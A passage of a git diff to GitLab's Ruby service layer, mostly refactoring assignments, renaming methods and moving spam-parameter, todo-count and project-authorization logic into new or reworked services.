@@ -27,7 +27,9 @@ module Projects
# Git data (e.g. a list of branch names).
flush_caches(project)
- ::Ci::AbortProjectPipelinesService.new.execute(project)
+ if Feature.enabled?(:abort_deleted_project_pipelines, default_enabled: :yaml)
+ ::Ci::AbortPipelinesService.new.execute(project.all_pipelines, :project_deleted)
+ end
Projects::UnlinkForkService.new(project, current_user).execute
diff --git a/app/services/projects/download_service.rb b/app/services/projects/download_service.rb
index 9810db84605..72cb3997045 100644
--- a/app/services/projects/download_service.rb
+++ b/app/services/projects/download_service.rb
@@ -7,7 +7,8 @@ module Projects
].freeze
def initialize(project, url)
- @project, @url = project, url
+ @project = project
+ @url = url
end
def execute
diff --git a/app/services/projects/gitlab_projects_import_service.rb b/app/services/projects/gitlab_projects_import_service.rb
index 27cce15f97d..38f0e2f7c1a 100644
--- a/app/services/projects/gitlab_projects_import_service.rb
+++ b/app/services/projects/gitlab_projects_import_service.rb
@@ -11,7 +11,9 @@ module Projects
attr_reader :current_user, :params
def initialize(user, import_params, override_params = nil)
- @current_user, @params, @override_params = user, import_params.dup, override_params
+ @current_user = user
+ @params = import_params.dup
+ @override_params = override_params
end
def execute
diff --git a/app/services/projects/update_pages_configuration_service.rb b/app/services/projects/update_pages_configuration_service.rb
index 01539d58545..b63903c6c61 100644
--- a/app/services/projects/update_pages_configuration_service.rb
+++ b/app/services/projects/update_pages_configuration_service.rb
@@ -11,7 +11,7 @@ module Projects
end
def execute
- return success unless Feature.enabled?(:pages_update_legacy_storage, default_enabled: true)
+ return success unless ::Settings.pages.local_store.enabled
# If the pages were never deployed, we can't write out the config, as the
# directory would not exist.
diff --git a/app/services/projects/update_pages_service.rb b/app/services/projects/update_pages_service.rb
index 2b59fdd539d..6fa42b293c5 100644
--- a/app/services/projects/update_pages_service.rb
+++ b/app/services/projects/update_pages_service.rb
@@ -23,7 +23,8 @@ module Projects
attr_reader :build
def initialize(project, build)
- @project, @build = project, build
+ @project = project
+ @build = build
end
def execute
@@ -31,9 +32,9 @@ module Projects
# Create status notifying the deployment of pages
@status = create_status
+ @status.update_older_statuses_retried! if Feature.enabled?(:ci_fix_commit_status_retried, project, default_enabled: :yaml)
@status.enqueue!
@status.run!
- @status.update_older_statuses_retried! if Feature.enabled?(:ci_fix_commit_status_retried, project, default_enabled: :yaml)
raise InvalidStateError, 'missing pages artifacts' unless build.artifacts?
raise InvalidStateError, 'build SHA is outdated for this ref' unless latest?
@@ -83,7 +84,9 @@ module Projects
def deploy_to_legacy_storage(artifacts_path)
# path today used by one project can later be used by another
# so we can't really scope this feature flag by project or group
- return unless Feature.enabled?(:pages_update_legacy_storage, default_enabled: true)
+ return unless ::Settings.pages.local_store.enabled
+
+ return if Feature.enabled?(:skip_pages_deploy_to_legacy_storage, project, default_enabled: :yaml)
# Create temporary directory in which we will extract the artifacts
make_secure_tmp_dir(tmp_path) do |tmp_path|
@@ -250,13 +253,17 @@ module Projects
def make_secure_tmp_dir(tmp_path)
FileUtils.mkdir_p(tmp_path)
- path = Dir.mktmpdir(nil, tmp_path)
+ path = Dir.mktmpdir(tmp_dir_prefix, tmp_path)
begin
yield(path)
ensure
FileUtils.remove_entry_secure(path)
end
end
+
+ def tmp_dir_prefix
+ "project-#{project.id}-build-#{build.id}-"
+ end
end
end
diff --git a/app/services/projects/update_remote_mirror_service.rb b/app/services/projects/update_remote_mirror_service.rb
index 6115db54829..8832a1bc027 100644
--- a/app/services/projects/update_remote_mirror_service.rb
+++ b/app/services/projects/update_remote_mirror_service.rb
@@ -9,8 +9,10 @@ module Projects
def execute(remote_mirror, tries)
return success unless remote_mirror.enabled?
+ # Blocked URLs are a hard failure, no need to attempt to retry
if Gitlab::UrlBlocker.blocked_url?(normalized_url(remote_mirror.url))
- return error("The remote mirror URL is invalid.")
+ hard_retry_or_fail(remote_mirror, _('The remote mirror URL is invalid.'), tries)
+ return error(remote_mirror.last_error)
end
update_mirror(remote_mirror)
@@ -19,11 +21,11 @@ module Projects
rescue Gitlab::Git::CommandError => e
# This happens if one of the gitaly calls above fail, for example when
# branches have diverged, or the pre-receive hook fails.
- retry_or_fail(remote_mirror, e.message, tries)
+ hard_retry_or_fail(remote_mirror, e.message, tries)
error(e.message)
rescue => e
- remote_mirror.mark_as_failed!(e.message)
+ remote_mirror.hard_fail!(e.message)
raise e
end
@@ -70,15 +72,15 @@ module Projects
).execute
end
- def retry_or_fail(mirror, message, tries)
+ def hard_retry_or_fail(mirror, message, tries)
if tries < MAX_TRIES
- mirror.mark_for_retry!(message)
+ mirror.hard_retry!(message)
else
# It's not likely we'll be able to recover from this ourselves, so we'll
# notify the users of the problem, and don't trigger any sidekiq retries
# Instead, we'll wait for the next change to try the push again, or until
# a user manually retries.
- mirror.mark_as_failed!(message)
+ mirror.hard_fail!(message)
end
end
end
diff --git a/app/services/prometheus/create_default_alerts_service.rb b/app/services/prometheus/create_default_alerts_service.rb
index 53baf6a650e..4ae2743cc28 100644
--- a/app/services/prometheus/create_default_alerts_service.rb
+++ b/app/services/prometheus/create_default_alerts_service.rb
@@ -84,7 +84,7 @@ module Prometheus
def environment
strong_memoize(:environment) do
- EnvironmentsFinder.new(project, nil, name: 'production').find.first ||
+ EnvironmentsFinder.new(project, nil, name: 'production').execute.first ||
project.environments.first
end
end
diff --git a/app/services/prometheus/proxy_service.rb b/app/services/prometheus/proxy_service.rb
index c1bafd03b48..33635796771 100644
--- a/app/services/prometheus/proxy_service.rb
+++ b/app/services/prometheus/proxy_service.rb
@@ -44,8 +44,8 @@ module Prometheus
def self.from_cache(proxyable_class_name, proxyable_id, method, path, params)
proxyable_class = begin
proxyable_class_name.constantize
- rescue NameError
- nil
+ rescue NameError
+ nil
end
return unless proxyable_class
diff --git a/app/services/prometheus/proxy_variable_substitution_service.rb b/app/services/prometheus/proxy_variable_substitution_service.rb
index 820b551c30a..846dfeb33ce 100644
--- a/app/services/prometheus/proxy_variable_substitution_service.rb
+++ b/app/services/prometheus/proxy_variable_substitution_service.rb
@@ -41,7 +41,8 @@ module Prometheus
# }
# })
def initialize(environment, params = {})
- @environment, @params = environment, params.deep_dup
+ @environment = environment
+ @params = params.deep_dup
end
# @return - params [Hash<Symbol,Any>] Returns a Hash containing a params key which is
diff --git a/app/services/releases/base_service.rb b/app/services/releases/base_service.rb
index d0e1577bd8d..de7c97b3518 100644
--- a/app/services/releases/base_service.rb
+++ b/app/services/releases/base_service.rb
@@ -8,7 +8,9 @@ module Releases
attr_accessor :project, :current_user, :params
def initialize(project, user = nil, params = {})
- @project, @current_user, @params = project, user, params.dup
+ @project = project
+ @current_user = user
+ @params = params.dup
end
def tag_name
diff --git a/app/services/repositories/changelog_service.rb b/app/services/repositories/changelog_service.rb
index 3981e91e7f3..0122bfb154d 100644
--- a/app/services/repositories/changelog_service.rb
+++ b/app/services/repositories/changelog_service.rb
@@ -61,14 +61,14 @@ module Repositories
# rubocop: enable Metrics/ParameterLists
def execute
- from = start_of_commit_range
+ config = Gitlab::Changelog::Config.from_git(@project)
+ from = start_of_commit_range(config)
# For every entry we want to only include the merge request that
# originally introduced the commit, which is the oldest merge request that
# contains the commit. We fetch there merge requests in batches, reducing
# the number of SQL queries needed to get this data.
mrs_finder = MergeRequests::OldestPerCommitFinder.new(@project)
- config = Gitlab::Changelog::Config.from_git(@project)
release = Gitlab::Changelog::Release
.new(version: @version, date: @date, config: config)
@@ -98,10 +98,12 @@ module Repositories
.commit(release: release, file: @file, branch: @branch, message: @message)
end
- def start_of_commit_range
+ def start_of_commit_range(config)
return @from if @from
- if (prev_tag = PreviousTagFinder.new(@project).execute(@version))
+ finder = ChangelogTagFinder.new(@project, regex: config.tag_regex)
+
+ if (prev_tag = finder.execute(@version))
return prev_tag.target_commit.id
end
diff --git a/app/services/resource_access_tokens/create_service.rb b/app/services/resource_access_tokens/create_service.rb
index 36858f33b49..620dfff91e2 100644
--- a/app/services/resource_access_tokens/create_service.rb
+++ b/app/services/resource_access_tokens/create_service.rb
@@ -39,7 +39,7 @@ module ResourceAccessTokens
attr_reader :resource_type, :resource
def has_permission_to_create?
- %w(project group).include?(resource_type) && can?(current_user, :admin_resource_access_tokens, resource)
+ %w(project group).include?(resource_type) && can?(current_user, :create_resource_access_tokens, resource)
end
def create_user
diff --git a/app/services/resource_access_tokens/revoke_service.rb b/app/services/resource_access_tokens/revoke_service.rb
index 59402701ddc..0924ca3bac4 100644
--- a/app/services/resource_access_tokens/revoke_service.rb
+++ b/app/services/resource_access_tokens/revoke_service.rb
@@ -14,7 +14,7 @@ module ResourceAccessTokens
end
def execute
- return error("#{current_user.name} cannot delete #{bot_user.name}") unless can_destroy_bot_member?
+ return error("#{current_user.name} cannot delete #{bot_user.name}") unless can_destroy_token?
return error("Failed to find bot user") unless find_member
access_token.revoke!
@@ -37,14 +37,8 @@ module ResourceAccessTokens
DeleteUserWorker.perform_async(current_user.id, bot_user.id, skip_authorization: true)
end
- def can_destroy_bot_member?
- if resource.is_a?(Project)
- can?(current_user, :admin_project_member, @resource)
- elsif resource.is_a?(Group)
- can?(current_user, :admin_group_member, @resource)
- else
- false
- end
+ def can_destroy_token?
+ %w(project group).include?(resource.class.name.downcase) && can?(current_user, :destroy_resource_access_tokens, resource)
end
def find_member
diff --git a/app/services/resource_events/base_synthetic_notes_builder_service.rb b/app/services/resource_events/base_synthetic_notes_builder_service.rb
index a2d78ec67c3..5939b9d2f9c 100644
--- a/app/services/resource_events/base_synthetic_notes_builder_service.rb
+++ b/app/services/resource_events/base_synthetic_notes_builder_service.rb
@@ -25,9 +25,7 @@ module ResourceEvents
def apply_common_filters(events)
events = apply_last_fetched_at(events)
- events = apply_fetch_until(events)
-
- events
+ apply_fetch_until(events)
end
def apply_last_fetched_at(events)
diff --git a/app/services/resource_events/change_labels_service.rb b/app/services/resource_events/change_labels_service.rb
index ddf3b05ac10..89eb90e9360 100644
--- a/app/services/resource_events/change_labels_service.rb
+++ b/app/services/resource_events/change_labels_service.rb
@@ -5,7 +5,8 @@ module ResourceEvents
attr_reader :resource, :user
def initialize(resource, user)
- @resource, @user = resource, user
+ @resource = resource
+ @user = user
end
def execute(added_labels: [], removed_labels: [])
diff --git a/app/services/resource_events/change_state_service.rb b/app/services/resource_events/change_state_service.rb
index c5120ba82e1..d68b86a1513 100644
--- a/app/services/resource_events/change_state_service.rb
+++ b/app/services/resource_events/change_state_service.rb
@@ -5,7 +5,8 @@ module ResourceEvents
attr_reader :resource, :user
def initialize(user:, resource:)
- @user, @resource = user, resource
+ @user = user
+ @resource = resource
end
def execute(params)
diff --git a/app/services/search/global_service.rb b/app/services/search/global_service.rb
index 9038650adb7..055034d87a1 100644
--- a/app/services/search/global_service.rb
+++ b/app/services/search/global_service.rb
@@ -9,7 +9,8 @@ module Search
attr_accessor :current_user, :params
def initialize(user, params)
- @current_user, @params = user, params.dup
+ @current_user = user
+ @params = params.dup
end
def execute
diff --git a/app/services/search/project_service.rb b/app/services/search/project_service.rb
index e5fc5a7a438..4227dfe2fac 100644
--- a/app/services/search/project_service.rb
+++ b/app/services/search/project_service.rb
@@ -9,7 +9,9 @@ module Search
attr_accessor :project, :current_user, :params
def initialize(project, user, params)
- @project, @current_user, @params = project, user, params.dup
+ @project = project
+ @current_user = user
+ @params = params.dup
end
def execute
diff --git a/app/services/snippets/create_service.rb b/app/services/snippets/create_service.rb
index 802bfd813dc..c95b459cd2a 100644
--- a/app/services/snippets/create_service.rb
+++ b/app/services/snippets/create_service.rb
@@ -6,7 +6,7 @@ module Snippets
# NOTE: disable_spam_action_service can be removed when the ':snippet_spam' feature flag is removed.
disable_spam_action_service = params.delete(:disable_spam_action_service) == true
@request = params.delete(:request)
- @spam_params = Spam::SpamActionService.filter_spam_params!(params)
+ @spam_params = Spam::SpamActionService.filter_spam_params!(params, @request)
@snippet = build_from_params
diff --git a/app/services/snippets/update_service.rb b/app/services/snippets/update_service.rb
index 5b427817a02..aedb6a4819d 100644
--- a/app/services/snippets/update_service.rb
+++ b/app/services/snippets/update_service.rb
@@ -10,7 +10,7 @@ module Snippets
# NOTE: disable_spam_action_service can be removed when the ':snippet_spam' feature flag is removed.
disable_spam_action_service = params.delete(:disable_spam_action_service) == true
@request = params.delete(:request)
- @spam_params = Spam::SpamActionService.filter_spam_params!(params)
+ @spam_params = Spam::SpamActionService.filter_spam_params!(params, @request)
return invalid_params_error(snippet) unless valid_params?
diff --git a/app/services/spam/spam_action_service.rb b/app/services/spam/spam_action_service.rb
index 185b9e39070..2220198583c 100644
--- a/app/services/spam/spam_action_service.rb
+++ b/app/services/spam/spam_action_service.rb
@@ -11,22 +11,30 @@ module Spam
# Takes a hash of parameters from an incoming request to modify a model (via a controller,
# service, or GraphQL mutation). The parameters will either be camelCase (if they are
# received directly via controller params) or underscore_case (if they have come from
- # a GraphQL mutation which has converted them to underscore)
+ # a GraphQL mutation which has converted them to underscore), or in the
+ # headers when using the header based flow.
#
# Deletes the parameters which are related to spam and captcha processing, and returns
# them in a SpamParams parameters object. See:
# https://refactoring.com/catalog/introduceParameterObject.html
- def self.filter_spam_params!(params)
+ def self.filter_spam_params!(params, request)
# NOTE: The 'captcha_response' field can be expanded to multiple fields when we move to future
# alternative captcha implementations such as FriendlyCaptcha. See
# https://gitlab.com/gitlab-org/gitlab/-/issues/273480
- captcha_response = params.delete(:captcha_response) || params.delete(:captchaResponse)
+ headers = request&.headers || {}
+ api = params.delete(:api)
+ captcha_response = read_parameter(:captcha_response, params, headers)
+ spam_log_id = read_parameter(:spam_log_id, params, headers)&.to_i
- SpamParams.new(
- api: params.delete(:api),
- captcha_response: captcha_response,
- spam_log_id: params.delete(:spam_log_id) || params.delete(:spamLogId)
- )
+ SpamParams.new(api: api, captcha_response: captcha_response, spam_log_id: spam_log_id)
+ end
+
+ def self.read_parameter(name, params, headers)
+ [
+ params.delete(name),
+ params.delete(name.to_s.camelize(:lower).to_sym),
+ headers["X-GitLab-#{name.to_s.titlecase(keep_id_suffix: true).tr(' ', '-')}"]
+ ].compact.first
end
attr_accessor :target, :request, :options
@@ -40,6 +48,7 @@ module Spam
@options = {}
end
+ # rubocop:disable Metrics/AbcSize
def execute(spam_params:)
if request
options[:ip_address] = request.env['action_dispatch.remote_ip'].to_s
@@ -58,19 +67,20 @@ module Spam
)
if recaptcha_verified
- # If it's a request which is already verified through captcha,
+ # If it's a request which is already verified through CAPTCHA,
# update the spam log accordingly.
SpamLog.verify_recaptcha!(user_id: user.id, id: spam_params.spam_log_id)
- ServiceResponse.success(message: "Captcha was successfully verified")
+ ServiceResponse.success(message: "CAPTCHA successfully verified")
else
return ServiceResponse.success(message: 'Skipped spam check because user was allowlisted') if allowlisted?(user)
return ServiceResponse.success(message: 'Skipped spam check because request was not present') unless request
return ServiceResponse.success(message: 'Skipped spam check because it was not required') unless check_for_spam?
perform_spam_service_check(spam_params.api)
- ServiceResponse.success(message: "Spam check performed, check #{target.class.name} spammable model for any errors or captcha requirement")
+ ServiceResponse.success(message: "Spam check performed. Check #{target.class.name} spammable model for any errors or CAPTCHA requirement")
end
end
+ # rubocop:enable Metrics/AbcSize
delegate :check_for_spam?, to: :target
diff --git a/app/services/spam/spam_params.rb b/app/services/spam/spam_params.rb
index fef5355c7f3..3420748822d 100644
--- a/app/services/spam/spam_params.rb
+++ b/app/services/spam/spam_params.rb
@@ -23,10 +23,10 @@ module Spam
end
def ==(other)
- other.class == self.class &&
- other.api == self.api &&
- other.captcha_response == self.captcha_response &&
- other.spam_log_id == self.spam_log_id
+ other.class <= self.class &&
+ other.api == api &&
+ other.captcha_response == captcha_response &&
+ other.spam_log_id == spam_log_id
end
end
end
diff --git a/app/services/submit_usage_ping_service.rb b/app/services/submit_usage_ping_service.rb
index 8ab1193b04f..d628b1ea7c7 100644
--- a/app/services/submit_usage_ping_service.rb
+++ b/app/services/submit_usage_ping_service.rb
@@ -35,7 +35,13 @@ class SubmitUsagePingService
raise SubmissionError.new("Unsuccessful response code: #{response.code}") unless response.success?
- raw_usage_data.update_sent_at! if raw_usage_data
+ version_usage_data_id = response.dig('conv_index', 'usage_data_id') || response.dig('dev_ops_score', 'usage_data_id')
+
+ unless version_usage_data_id.is_a?(Integer) && version_usage_data_id > 0
+ raise SubmissionError.new("Invalid usage_data_id in response: #{version_usage_data_id}")
+ end
+
+ raw_usage_data.update_version_metadata!(usage_data_id: version_usage_data_id)
store_metrics(response)
end
diff --git a/app/services/system_hooks_service.rb b/app/services/system_hooks_service.rb
index d854b95cb93..53e810035c5 100644
--- a/app/services/system_hooks_service.rb
+++ b/app/services/system_hooks_service.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
class SystemHooksService
- BUILDER_DRIVEN_EVENT_DATA_AVAILABLE_FOR_CLASSES = [GroupMember, Group, ProjectMember].freeze
+ BUILDER_DRIVEN_EVENT_DATA_AVAILABLE_FOR_CLASSES = [GroupMember, Group, ProjectMember, User].freeze
def execute_hooks_for(model, event)
data = build_event_data(model, event)
@@ -47,15 +47,6 @@ class SystemHooksService
if event == :rename || event == :transfer
data[:old_path_with_namespace] = model.old_path_with_namespace
end
- when User
- data.merge!(user_data(model))
-
- case event
- when :rename
- data[:old_username] = model.username_before_last_save
- when :failed_login
- data[:state] = model.state
- end
end
data
@@ -79,15 +70,6 @@ class SystemHooksService
}
end
- def user_data(model)
- {
- name: model.name,
- email: model.email,
- user_id: model.id,
- username: model.username
- }
- end
-
def builder_driven_event_data_available?(model)
model.class.in?(BUILDER_DRIVEN_EVENT_DATA_AVAILABLE_FOR_CLASSES)
end
@@ -100,10 +82,10 @@ class SystemHooksService
Gitlab::HookData::GroupBuilder
when ProjectMember
Gitlab::HookData::ProjectMemberBuilder
+ when User
+ Gitlab::HookData::UserBuilder
end
builder_class.new(model).build(event)
end
end
-
-SystemHooksService.prepend_if_ee('EE::SystemHooksService')
diff --git a/app/services/system_note_service.rb b/app/services/system_note_service.rb
index 082ed93eca2..4377bd8554b 100644
--- a/app/services/system_note_service.rb
+++ b/app/services/system_note_service.rb
@@ -7,7 +7,7 @@
module SystemNoteService
extend self
- # Called when commits are added to a Merge Request
+ # Called when commits are added to a merge request
#
# noteable - Noteable object
# project - Project owning noteable
diff --git a/app/services/system_notes/alert_management_service.rb b/app/services/system_notes/alert_management_service.rb
index 27ddf2e36f1..70cdd5c6434 100644
--- a/app/services/system_notes/alert_management_service.rb
+++ b/app/services/system_notes/alert_management_service.rb
@@ -73,7 +73,7 @@ module SystemNotes
#
# Returns the created Note object
def log_resolving_alert(monitoring_tool)
- body = "logged a resolving alert from **#{monitoring_tool}**"
+ body = "logged a recovery alert from **#{monitoring_tool}**"
create_note(NoteSummary.new(noteable, project, User.alert_bot, body, action: 'new_alert_added'))
end
diff --git a/app/services/system_notes/commit_service.rb b/app/services/system_notes/commit_service.rb
index 11119956e0f..c89998f77c7 100644
--- a/app/services/system_notes/commit_service.rb
+++ b/app/services/system_notes/commit_service.rb
@@ -2,7 +2,7 @@
module SystemNotes
class CommitService < ::SystemNotes::BaseService
- # Called when commits are added to a Merge Request
+ # Called when commits are added to a merge request
#
# new_commits - Array of Commits added since last push
# existing_commits - Array of Commits added in a previous push
diff --git a/app/services/task_list_toggle_service.rb b/app/services/task_list_toggle_service.rb
index f6602a35033..32cfa198ce8 100644
--- a/app/services/task_list_toggle_service.rb
+++ b/app/services/task_list_toggle_service.rb
@@ -9,9 +9,11 @@ class TaskListToggleService
attr_reader :updated_markdown, :updated_markdown_html
def initialize(markdown, markdown_html, line_source:, line_number:, toggle_as_checked:)
- @markdown, @markdown_html = markdown, markdown_html
- @line_source, @line_number = line_source, line_number
- @toggle_as_checked = toggle_as_checked
+ @markdown = markdown
+ @markdown_html = markdown_html
+ @line_source = line_source
+ @line_number = line_number
+ @toggle_as_checked = toggle_as_checked
@updated_markdown, @updated_markdown_html = nil
end
diff --git a/app/services/todo_service.rb b/app/services/todo_service.rb
index dea116c8546..e473a6dc594 100644
--- a/app/services/todo_service.rb
+++ b/app/services/todo_service.rb
@@ -47,7 +47,7 @@ class TodoService
yield target
- todo_users.each(&:update_todos_count_cache)
+ Users::UpdateTodoCountCacheService.new(todo_users).execute if todo_users.present?
end
# When we reassign an assignable object (issuable, alert) we should:
@@ -177,7 +177,7 @@ class TodoService
def resolve_todos_for_target(target, current_user)
attributes = attributes_for_target(target)
- resolve_todos(pending_todos(current_user, attributes), current_user)
+ resolve_todos(pending_todos([current_user], attributes), current_user)
end
def resolve_todos(todos, current_user, resolution: :done, resolved_by_action: :system_done)
@@ -220,16 +220,23 @@ class TodoService
private
def create_todos(users, attributes)
- Array(users).map do |user|
- next if pending_todos(user, attributes).exists? && Feature.disabled?(:multiple_todos, user)
+ users = Array(users)
+ return if users.empty?
+
+ users_with_pending_todos = pending_todos(users, attributes).pluck_user_id
+ users.reject! { |user| users_with_pending_todos.include?(user.id) && Feature.disabled?(:multiple_todos, user) }
+
+ todos = users.map do |user|
issue_type = attributes.delete(:issue_type)
track_todo_creation(user, issue_type)
- todo = Todo.create(attributes.merge(user_id: user.id))
- user.update_todos_count_cache
- todo
+ Todo.create(attributes.merge(user_id: user.id))
end
+
+ Users::UpdateTodoCountCacheService.new(users).execute
+
+ todos
end
def new_issuable(issuable, author)
@@ -353,8 +360,8 @@ class TodoService
end
end
- def pending_todos(user, criteria = {})
- PendingTodosFinder.new(user, criteria).execute
+ def pending_todos(users, criteria = {})
+ PendingTodosFinder.new(users, criteria).execute
end
def track_todo_creation(user, issue_type)
diff --git a/app/services/todos/destroy/base_service.rb b/app/services/todos/destroy/base_service.rb
index 7378f10e7c4..4e971246185 100644
--- a/app/services/todos/destroy/base_service.rb
+++ b/app/services/todos/destroy/base_service.rb
@@ -13,7 +13,7 @@ module Todos
# rubocop: disable CodeReuse/ActiveRecord
def without_authorized(items)
- items.where('todos.user_id NOT IN (?)', authorized_users)
+ items.where.not('todos.user_id' => authorized_users)
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/services/todos/destroy/destroyed_issuable_service.rb b/app/services/todos/destroy/destroyed_issuable_service.rb
new file mode 100644
index 00000000000..db12965224b
--- /dev/null
+++ b/app/services/todos/destroy/destroyed_issuable_service.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module Todos
+ module Destroy
+ class DestroyedIssuableService
+ BATCH_SIZE = 100
+
+ def initialize(target_id, target_type)
+ @target_id = target_id
+ @target_type = target_type
+ end
+
+ def execute
+ inner_query = Todo.select(:id).for_target(target_id).for_type(target_type).limit(BATCH_SIZE)
+
+ delete_query = <<~SQL
+ DELETE FROM "#{Todo.table_name}"
+ WHERE id IN (#{inner_query.to_sql})
+ RETURNING user_id
+ SQL
+
+ loop do
+ result = ActiveRecord::Base.connection.execute(delete_query)
+
+ break if result.cmd_tuples == 0
+
+ user_ids = result.map { |row| row['user_id'] }.uniq
+
+ invalidate_todos_cache_counts(user_ids)
+ end
+ end
+
+ private
+
+ attr_reader :target_id, :target_type
+
+ def invalidate_todos_cache_counts(user_ids)
+ user_ids.each do |id|
+ # Only build a user instance since we only need its ID for
+ # `User#invalidate_todos_cache_counts` to work.
+ User.new(id: id).invalidate_todos_cache_counts
+ end
+ end
+ end
+ end
+end
diff --git a/app/services/todos/destroy/entity_leave_service.rb b/app/services/todos/destroy/entity_leave_service.rb
index 7cfedc2233a..6d4fc3865ac 100644
--- a/app/services/todos/destroy/entity_leave_service.rb
+++ b/app/services/todos/destroy/entity_leave_service.rb
@@ -65,8 +65,10 @@ module Todos
end
def remove_group_todos
+ return unless entity.is_a?(Namespace)
+
Todo
- .for_group(non_authorized_groups)
+ .for_group(non_authorized_non_public_groups)
.for_user(user)
.delete_all
end
@@ -102,12 +104,19 @@ module Todos
GroupsFinder.new(user, min_access_level: Gitlab::Access::REPORTER).execute.select(:id)
end
- def non_authorized_groups
+ # since the entity is a private group, we can assume all subgroups are also
+ # private. We can therefore limit GroupsFinder with `all_available: false`.
+ # Otherwise it tries to include all public groups. This generates an expensive
+ # SQL queries: https://gitlab.com/gitlab-org/gitlab/-/issues/325133
+ # rubocop: disable CodeReuse/ActiveRecord
+ def non_authorized_non_public_groups
return [] unless entity.is_a?(Namespace)
+ return [] unless entity.private?
entity.self_and_descendants.select(:id)
- .id_not_in(GroupsFinder.new(user).execute.select(:id))
+ .id_not_in(GroupsFinder.new(user, all_available: false).execute.select(:id).reorder(nil))
end
+ # rubocop: enable CodeReuse/ActiveRecord
def non_authorized_reporter_groups
entity.self_and_descendants.select(:id)
diff --git a/app/services/todos/destroy/private_features_service.rb b/app/services/todos/destroy/private_features_service.rb
index bd49519d694..44c3ff231f8 100644
--- a/app/services/todos/destroy/private_features_service.rb
+++ b/app/services/todos/destroy/private_features_service.rb
@@ -36,7 +36,7 @@ module Todos
items = Todo.where(project_id: project_id)
items = items.where(user_id: user_id) if user_id
- items.where('user_id NOT IN (?)', authorized_users)
+ items.where.not(user_id: authorized_users)
.where(target_type: target_types)
.delete_all
end
diff --git a/app/services/two_factor/base_service.rb b/app/services/two_factor/base_service.rb
index 7d3f63f3442..0957d7ebabd 100644
--- a/app/services/two_factor/base_service.rb
+++ b/app/services/two_factor/base_service.rb
@@ -7,7 +7,8 @@ module TwoFactor
attr_reader :current_user, :params, :user
def initialize(current_user, params = {})
- @current_user, @params = current_user, params
+ @current_user = current_user
+ @params = params
@user = params.delete(:user)
end
end
diff --git a/app/services/upload_service.rb b/app/services/upload_service.rb
index ba6ead41836..39d1ffa4d6b 100644
--- a/app/services/upload_service.rb
+++ b/app/services/upload_service.rb
@@ -1,8 +1,14 @@
# frozen_string_literal: true
class UploadService
+ # Temporarily introduced for upload API: https://gitlab.com/gitlab-org/gitlab/-/issues/325788
+ attr_accessor :override_max_attachment_size
+
def initialize(model, file, uploader_class = FileUploader, **uploader_context)
- @model, @file, @uploader_class, @uploader_context = model, file, uploader_class, uploader_context
+ @model = model
+ @file = file
+ @uploader_class = uploader_class
+ @uploader_context = uploader_context
end
def execute
@@ -19,6 +25,6 @@ class UploadService
attr_reader :model, :file, :uploader_class, :uploader_context
def max_attachment_size
- Gitlab::CurrentSettings.max_attachment_size.megabytes.to_i
+ override_max_attachment_size || Gitlab::CurrentSettings.max_attachment_size.megabytes.to_i
end
end
diff --git a/app/services/user_agent_detail_service.rb b/app/services/user_agent_detail_service.rb
index 5cb42e879a0..9302c86d3e6 100644
--- a/app/services/user_agent_detail_service.rb
+++ b/app/services/user_agent_detail_service.rb
@@ -4,7 +4,8 @@ class UserAgentDetailService
attr_accessor :spammable, :request
def initialize(spammable, request)
- @spammable, @request = spammable, request
+ @spammable = spammable
+ @request = request
end
def create
diff --git a/app/services/user_preferences/update_service.rb b/app/services/user_preferences/update_service.rb
new file mode 100644
index 00000000000..a1ee35d4580
--- /dev/null
+++ b/app/services/user_preferences/update_service.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module UserPreferences
+ class UpdateService < BaseService
+ def initialize(user, params = {})
+ @preferences = user.user_preference
+ @params = params.to_h.dup.with_indifferent_access
+ end
+
+ def execute
+ if @preferences.update(@params)
+ ServiceResponse.success(
+ message: 'Preference was updated',
+ payload: { preferences: @preferences })
+ else
+ ServiceResponse.error(message: 'Could not update preference')
+ end
+ end
+ end
+end
diff --git a/app/services/users/activity_service.rb b/app/services/users/activity_service.rb
index 85855f45e33..64844a3f002 100644
--- a/app/services/users/activity_service.rb
+++ b/app/services/users/activity_service.rb
@@ -37,3 +37,5 @@ module Users
end
end
end
+
+Users::ActivityService.prepend_ee_mod
diff --git a/app/services/users/batch_status_cleaner_service.rb b/app/services/users/batch_status_cleaner_service.rb
index ea6142f13cc..533794f8d60 100644
--- a/app/services/users/batch_status_cleaner_service.rb
+++ b/app/services/users/batch_status_cleaner_service.rb
@@ -2,7 +2,7 @@
module Users
class BatchStatusCleanerService
- BATCH_SIZE = 100.freeze
+ BATCH_SIZE = 100
# Cleanup BATCH_SIZE user_statuses records
# rubocop: disable CodeReuse/ActiveRecord
diff --git a/app/services/users/refresh_authorized_projects_service.rb b/app/services/users/refresh_authorized_projects_service.rb
index 070713929e4..d28ff45bfdf 100644
--- a/app/services/users/refresh_authorized_projects_service.rb
+++ b/app/services/users/refresh_authorized_projects_service.rb
@@ -51,38 +51,12 @@ module Users
# This method returns the updated User object.
def execute_without_lease
- current = current_authorizations_per_project
- fresh = fresh_access_levels_per_project
-
- # Delete projects that have more than one authorizations associated with
- # the user. The correct authorization is added to the ``add`` array in the
- # next stage.
- remove = projects_with_duplicates
- current.except!(*projects_with_duplicates)
-
- remove |= current.each_with_object([]) do |(project_id, row), array|
- # rows not in the new list or with a different access level should be
- # removed.
- if !fresh[project_id] || fresh[project_id] != row.access_level
- if incorrect_auth_found_callback
- incorrect_auth_found_callback.call(project_id, row.access_level)
- end
-
- array << row.project_id
- end
- end
-
- add = fresh.each_with_object([]) do |(project_id, level), array|
- # rows not in the old list or with a different access level should be
- # added.
- if !current[project_id] || current[project_id].access_level != level
- if missing_auth_found_callback
- missing_auth_found_callback.call(project_id, level)
- end
-
- array << [user.id, project_id, level]
- end
- end
+ remove, add = AuthorizedProjectUpdate::FindRecordsDueForRefreshService.new(
+ user,
+ source: source,
+ incorrect_auth_found_callback: incorrect_auth_found_callback,
+ missing_auth_found_callback: missing_auth_found_callback
+ ).execute
update_authorizations(remove, add)
end
@@ -104,6 +78,10 @@ module Users
user.reset
end
+ private
+
+ attr_reader :incorrect_auth_found_callback, :missing_auth_found_callback
+
def log_refresh_details(remove, add)
Gitlab::AppJsonLogger.info(event: 'authorized_projects_refresh',
user_id: user.id,
@@ -115,34 +93,5 @@ module Users
'authorized_projects_refresh.rows_deleted_slice': remove.first(5),
'authorized_projects_refresh.rows_added_slice': add.first(5))
end
-
